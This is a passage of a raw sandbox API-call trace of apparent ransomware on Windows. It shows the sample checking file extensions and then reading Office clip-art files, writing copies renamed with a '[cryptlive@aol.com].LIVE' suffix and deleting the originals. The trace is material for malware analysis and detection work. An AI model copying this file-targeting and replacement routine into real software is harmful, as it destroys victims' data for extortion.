[0145.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".bz2") returned 4 [0145.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString=".7z") returned 3 [0145.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.914] lstrlenW (lpString=".dbf") returned 4 [0145.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.915] lstrlenW (lpString=".1cd") returned 4 [0145.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0145.915] lstrlenW (lpString=".jpg") returned 4 [0145.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.915] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.915] lstrlenW (lpString="HH00636_.WMF") returned 12 [0145.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.916] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1568) returned 1 [0145.916] CloseHandle (hObject=0x3a8) returned 1 [0145.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0145.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0145.916] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.917] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0145.917] GetLastError () returned 0x0 [0145.917] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x620, lpOverlapped=0x0) returned 1 [0146.169] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x630, lpOverlapped=0x0) returned 1 [0146.177] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.177] WriteFile (in: hFile=0x1ec, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.177] SetEndOfFile (hFile=0x1ec) returned 1 [0146.177] CloseHandle (hObject=0x1ec) returned 1 [0146.177] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.177] SetEndOfFile (hFile=0x3a8) returned 1 [0146.180] CloseHandle (hObject=0x3a8) returned 1 [0146.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0146.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.183] lstrlenW (lpString=".doc") returned 4 [0146.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.183] lstrlenW (lpString=".docx") returned 5 [0146.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.183] lstrlenW (lpString=".pdf") returned 4 [0146.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.183] lstrlenW (lpString=".xls") returned 4 [0146.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.183] lstrlenW (lpString=".xlsx") returned 5 [0146.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.183] lstrlenW (lpString=".ppt") returned 4 [0146.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.183] lstrlenW (lpString=".zip") returned 4 [0146.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.183] lstrlenW (lpString=".rar") returned 4 [0146.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.183] lstrlenW (lpString=".bz2") returned 4 [0146.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.183] lstrlenW (lpString=".7z") returned 3 [0146.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.183] lstrlenW (lpString=".dbf") returned 4 [0146.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.183] lstrlenW (lpString=".1cd") returned 4 [0146.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.183] lstrlenW (lpString=".jpg") returned 4 [0146.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.184] lstrlenW (lpString=".doc") returned 4 [0146.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString=".docx") returned 5 [0146.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.184] lstrlenW (lpString=".pdf") returned 4 [0146.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString=".xls") returned 4 [0146.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.184] lstrlenW (lpString=".xlsx") returned 5 [0146.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.184] lstrlenW (lpString=".ppt") returned 4 [0146.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.184] lstrlenW (lpString=".zip") returned 4 [0146.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.184] lstrlenW (lpString=".rar") returned 4 [0146.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString=".bz2") returned 4 [0146.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString=".7z") returned 3 [0146.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.184] lstrlenW (lpString=".dbf") returned 4 [0146.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.184] lstrlenW (lpString=".1cd") returned 4 [0146.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0146.184] lstrlenW (lpString=".jpg") returned 4 [0146.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.185] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.185] lstrlenW (lpString="HH01058_.WMF") returned 12 [0146.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.203] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2756) returned 1 [0146.203] CloseHandle (hObject=0x3b4) returned 1 [0146.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0146.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.240] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.240] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.241] GetLastError () returned 0x0 [0146.241] ReadFile (in: hFile=0x3dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xac4, lpOverlapped=0x0) returned 1 [0146.302] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0146.305] ReadFile (in: hFile=0x3dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.305] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.305] SetEndOfFile (hFile=0x39c) returned 1 [0146.305] CloseHandle (hObject=0x39c) returned 1 [0146.305] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.305] SetEndOfFile (hFile=0x3dc) returned 1 [0146.308] CloseHandle (hObject=0x3dc) returned 1 [0146.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.357] lstrlenW (lpString=".doc") returned 4 [0146.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.357] lstrlenW (lpString=".docx") returned 5 [0146.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.358] lstrlenW (lpString=".pdf") returned 4 [0146.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString=".xls") returned 4 [0146.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.358] lstrlenW (lpString=".xlsx") returned 5 [0146.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.358] lstrlenW (lpString=".ppt") returned 4 [0146.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.358] lstrlenW (lpString=".zip") returned 4 [0146.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.358] lstrlenW (lpString=".rar") returned 4 [0146.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString=".bz2") returned 4 [0146.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString=".7z") returned 3 [0146.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.358] lstrlenW (lpString=".dbf") returned 4 [0146.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.358] lstrlenW (lpString=".1cd") returned 4 [0146.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.358] lstrlenW (lpString=".jpg") returned 4 [0146.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.358] lstrlenW (lpString=".doc") returned 4 [0146.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.358] lstrlenW (lpString=".docx") returned 5 [0146.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.358] lstrlenW (lpString=".pdf") returned 4 [0146.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.359] lstrlenW (lpString=".xls") returned 4 [0146.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.359] lstrlenW (lpString=".xlsx") returned 5 [0146.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.359] lstrlenW (lpString=".ppt") returned 4 [0146.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.359] lstrlenW (lpString=".zip") returned 4 [0146.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.359] lstrlenW (lpString=".rar") returned 4 [0146.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.359] lstrlenW (lpString=".bz2") returned 4 [0146.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.359] lstrlenW (lpString=".7z") returned 3 [0146.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.359] lstrlenW (lpString=".dbf") returned 4 [0146.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.359] lstrlenW (lpString=".1cd") returned 4 [0146.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0146.359] lstrlenW (lpString=".jpg") returned 4 [0146.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.359] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.359] lstrlenW (lpString="HH01291_.WMF") returned 12 [0146.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.362] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=15806) returned 1 [0146.362] CloseHandle (hObject=0x3b4) returned 1 [0146.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0146.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0146.365] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.365] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.365] GetLastError () returned 0x0 [0146.366] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0146.427] WriteFile (in: hFile=0x390, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0146.428] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.428] WriteFile (in: hFile=0x390, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.429] SetEndOfFile (hFile=0x390) returned 1 [0146.429] CloseHandle (hObject=0x390) returned 1 [0146.429] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.429] SetEndOfFile (hFile=0x3b4) returned 1 [0146.431] CloseHandle (hObject=0x3b4) returned 1 [0146.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0146.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.905] lstrlenW (lpString=".doc") returned 4 [0146.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.905] lstrlenW (lpString=".docx") returned 5 [0146.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.905] lstrlenW (lpString=".pdf") returned 4 [0146.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.905] lstrlenW (lpString=".xls") returned 4 [0146.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.905] lstrlenW (lpString=".xlsx") returned 5 [0146.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.905] lstrlenW (lpString=".ppt") returned 4 [0146.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.906] lstrlenW (lpString=".zip") returned 4 [0146.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.906] lstrlenW (lpString=".rar") returned 4 [0146.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString=".bz2") returned 4 [0146.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString=".7z") returned 3 [0146.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.906] lstrlenW (lpString=".dbf") returned 4 [0146.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.906] lstrlenW (lpString=".1cd") returned 4 [0146.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.906] lstrlenW (lpString=".jpg") returned 4 [0146.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.906] lstrlenW (lpString=".doc") returned 4 [0146.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString=".docx") returned 5 [0146.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.906] lstrlenW (lpString=".pdf") returned 4 [0146.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString=".xls") returned 4 [0146.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.906] lstrlenW (lpString=".xlsx") returned 5 [0146.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.906] lstrlenW (lpString=".ppt") returned 4 [0146.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.906] lstrlenW (lpString=".zip") returned 4 [0146.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.906] lstrlenW (lpString=".rar") returned 4 [0146.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.907] lstrlenW (lpString=".bz2") returned 4 [0146.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.907] lstrlenW (lpString=".7z") returned 3 [0146.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.907] lstrlenW (lpString=".dbf") returned 4 [0146.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.907] lstrlenW (lpString=".1cd") returned 4 